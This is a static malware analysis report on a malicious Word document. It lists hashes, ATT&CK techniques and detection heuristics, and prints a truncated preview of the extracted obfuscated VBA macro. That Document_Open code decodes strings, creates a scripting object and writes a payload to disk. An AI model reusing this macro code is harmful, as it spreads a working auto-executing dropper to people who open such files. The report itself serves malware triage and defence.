Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 2cea0b740f338c51…

MALICIOUS

Office (OLE)

1.73 MB Created: 2017-12-19 07:18:00 Authoring application: Microsoft Office Word First seen: 2019-04-18
MD5: 94edf251b5fe7cc19488b5f0c3c3e359 SHA-1: a02dfebd01369337e01b4f6bfd644d47457bee25 SHA-256: 2cea0b740f338c513a6390e7951ff3371f44c7c928abf14675b49358a03a5d13
224 Risk Score

Malware Insights

MITRE ATT&CK
T1566.001 Spearphishing Attachment T1059.005 Visual Basic T1140 Deobfuscate/Decode Files or Information T1071.001 Web Protocols

The sample is a malicious Office document containing a large VBA macro. The macro uses `CreateObject` and appears to be heavily obfuscated, suggesting it's designed to download and execute a second-stage payload. The presence of a `Document_Open` macro and a heuristic indicating a lure to enable macros points to a social engineering attack, likely spearphishing.

Heuristics 8

  • ClamAV: Doc.Malware.Valyria-7570499-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Valyria-7570499-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/officeDocument/2006/bibliography In document text (OLE body)
    • http://schemas.openxmlformats.org/officeDocument/2006/customXmlIn document text (OLE body)
    • http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1134499 bytes
SHA-256: e371e16a0ffed81c4edc47fe8d10bbee944b0b0c68c87361a9035a8e159acb11
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1388 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Control = "CommandButton1, 1, 0, MSForms, CommandButton"
Attribute VB_Control = "TextBox1, 0, 1, MSForms, TextBox"

Option Explicit

Sub Document_Open()
On Error Resume Next

IlLhl

Dim puoSM As String
puoSM = DKHEA(nbBsh)
Dim mwfrz As String
mwfrz = GXhTN(IiPbP(12111, 12060))
mwfrz = ChSAW(mwfrz, GXhTN(IiPbP(12012, 11919)))
mwfrz = ChSAW(mwfrz, GXhTN(IiPbP(15052, 15038)))
mwfrz = ChSAW(mwfrz, GXhTN(IiPbP(19037, 18996)))
mwfrz = ChSAW(mwfrz, GXhTN(IiPbP(14856, 14968)))
mwfrz = ChSAW(mwfrz, GXhTN(IiPbP(12371, 12327)))
mwfrz = ChSAW(mwfrz, GXhTN(IiPbP(19037, 18996)))
mwfrz = ChSAW(mwfrz, GXhTN(IiPbP(17907, 17821)))
mwfrz = ChSAW(mwfrz, GXhTN(IiPbP(12909, 12810)))
mwfrz = ChSAW(mwfrz, GXhTN(IiPbP(16736, 16718)))
mwfrz = ChSAW(mwfrz, GXhTN(IiPbP(20051, 19989)))
mwfrz = ChSAW(mwfrz, GXhTN(IiPbP(19037, 18996)))
mwfrz = ChSAW(mwfrz, GXhTN(IiPbP(19000, 19028)))
mwfrz = ChSAW(mwfrz, GXhTN(IiPbP(14299, 14270)))
mwfrz = ChSAW(mwfrz, GXhTN(IiPbP(12111, 12060)))
mwfrz = ChSAW(mwfrz, GXhTN(IiPbP(11639, 11534)))
mwfrz = ChSAW(mwfrz, GXhTN(IiPbP(16661, 16742)))
mwfrz = ChSAW(mwfrz, GXhTN(IiPbP(12371, 12327)))
mwfrz = ChSAW(mwfrz, GXhTN(IiPbP(14299, 14270)))
mwfrz = ChSAW(mwfrz, GXhTN(IiPbP(18422, 18331)))
mwfrz = ChSAW(mwfrz, GXhTN(IiPbP(18624, 18575)))
mwfrz = ChSAW(mwfrz, GXhTN(IiPbP(14832, 14738)))
mwfrz = ChSAW(mwfrz, GXhTN(IiPbP(11224, 11186)))
mwfrz = ChSAW(mwfrz, GXhTN(IiPbP(14299, 14270)))
mwfrz = ChSAW(mwfrz, GXhTN(IiPbP(12012, 11919)))
mwfrz = ChSAW(mwfrz, GXhTN(IiPbP(12371, 12327)))
Dim Fgzta As Object
Set Fgzta = CreateObject(mwfrz)
Dim PCjer As Object
Dim ahhDi As String
ahhDi = ""
ahhDi = ChSAW(ahhDi, GXhTN(IiPbP(14700, 14639)))
ahhDi = ChSAW(ahhDi, GXhTN(IiPbP(13512, 13554)))
ahhDi = ChSAW(ahhDi, "\")
ahhDi = ChSAW(ahhDi, GXhTN(IiPbP(15947, 15899)))
ahhDi = ChSAW(ahhDi, GXhTN(IiPbP(15052, 15038)))
ahhDi = ChSAW(ahhDi, GXhTN(IiPbP(13271, 13240)))
ahhDi = ChSAW(ahhDi, GXhTN(IiPbP(12909, 12810)))
ahhDi = ChSAW(ahhDi, GXhTN(IiPbP(15052, 15038)))
ahhDi = ChSAW(ahhDi, GXhTN(IiPbP(18829, 18924)))
ahhDi = ChSAW(ahhDi, GXhTN(IiPbP(18422, 18331)))
ahhDi = ChSAW(ahhDi, GXhTN(IiPbP(15235, 15303)))
ahhDi = ChSAW(ahhDi, GXhTN(IiPbP(18829, 18924)))
ahhDi = ChSAW(ahhDi, GXhTN(IiPbP(12371, 12327)))
ahhDi = ChSAW(ahhDi, GXhTN(IiPbP(18829, 18924)))
ahhDi = ChSAW(ahhDi, "\")
ahhDi = ChSAW(ahhDi, GXhTN(IiPbP(15235, 15303)))
ahhDi = ChSAW(ahhDi, GXhTN(IiPbP(14299, 14270)))
ahhDi = ChSAW(ahhDi, GXhTN(IiPbP(21089, 20999)))
ahhDi = ChSAW(ahhDi, GXhTN(IiPbP(14299, 14270)))
ahhDi = ChSAW(ahhDi, GXhTN(IiPbP(17907, 17821)))
ahhDi = ChSAW(ahhDi, GXhTN(IiPbP(18042, 17950)))
ahhDi = ChSAW(ahhDi, GXhTN(IiPbP(14299, 14270)))
ahhDi = ChSAW(ahhDi, GXhTN(IiPbP(15052, 15038)))
ahhDi = ChSAW(ahhDi, GXhTN(IiPbP(17973, 18043)))
ahhDi = ChSAW(ahhDi, GXhTN(IiPbP(20662, 20706)))
ahhDi = ChSAW(ahhDi, "\")
ahhDi = ChSAW(ahhDi, GXhTN(IiPbP(12111, 12060)))
ahhDi = ChSAW(ahhDi, GXhTN(IiPbP(14299, 14270)))
ahhDi = ChSAW(ahhDi, GXhTN(IiPbP(12371, 12327)))
ahhDi = ChSAW(ahhDi, GXhTN(IiPbP(15879, 15986)))
ahhDi = ChSAW(ahhDi, GXhTN(IiPbP(14856, 14968)))
ahhDi = ChSAW(ahhDi, GXhTN(IiPbP(14700, 14639)))
ahhDi = ChSAW(ahhDi, GXhTN(IiPbP(13271, 13240)))
ahhDi = ChSAW(ahhDi, GXhTN(IiPbP(17907, 17821)))
ahhDi = ChSAW(ahhDi, GXhTN(IiPbP(21089, 20999)))
ahhDi = ChSAW(ahhDi, GXhTN(IiPbP(16736, 16718)))
ahhDi = ChSAW(ahhDi, GXhTN(IiPbP(19037, 18996)))
ahhDi = ChSAW(ahhDi, GXhTN(IiPbP(17907, 17821)))
ahhDi = ChSAW(ahhDi, GXhTN(IiPbP(19037, 18996)))


Set PCjer = Fgzta.CreateTextFile(ahhDi, True, True)
PCjer.Write puoSM
PCjer.Close


BoqUg
rUPZT
End Sub

Public Function rUPZT()
    Dim hiMdo As Object
    Dim uZimj As String
    uZimj = ""
    uZimj = ChSAW(uZimj, GXhTN(IiPbP(12111, 12060)))
    
... (truncated)